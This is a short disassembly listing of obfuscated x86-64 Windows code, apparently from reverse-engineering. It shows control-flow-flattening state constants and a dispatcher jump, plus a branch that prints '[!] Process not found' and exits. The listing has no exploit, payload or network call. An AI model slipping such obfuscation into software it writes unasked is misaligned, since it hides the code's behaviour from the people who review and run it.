xor al, 1
and dl, al
xor al, dl
test al, 1
mov eax, 0xa79f9cd3
mov ecx, 0xb7ca3e4
cmovne eax, ecx
test dil, 1
mov ecx, eax
mov ebp, 0xa79f9cd3
cmovne ecx, ebp
test dl, 1
cmove ecx, eax
jmp 0x140053140
mov ecx, dword [rsp + 0x5c]
call fcn.140045cc0
mov ecx, 0x3b69fb7e
jmp 0x140053140
cmp byte [rsp + 0x5b], 0
mov ecx, 0xd6861dda
mov eax, 0x70ef6c75
cmovne ecx, eax
jmp 0x140053140
mov ecx, eax
cmp eax, 0xab139545
jne 0x140053140
jmp 0x140062614
mov ecx, eax
cmp eax, 0x3b75ecf5
jne 0x140053140
lea rcx, str.____Process_not_found
call sub.api_ms_win_crt_stdio_l1_1_0.dll_puts
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
ud2
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.14006c590
xor eax, eax
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret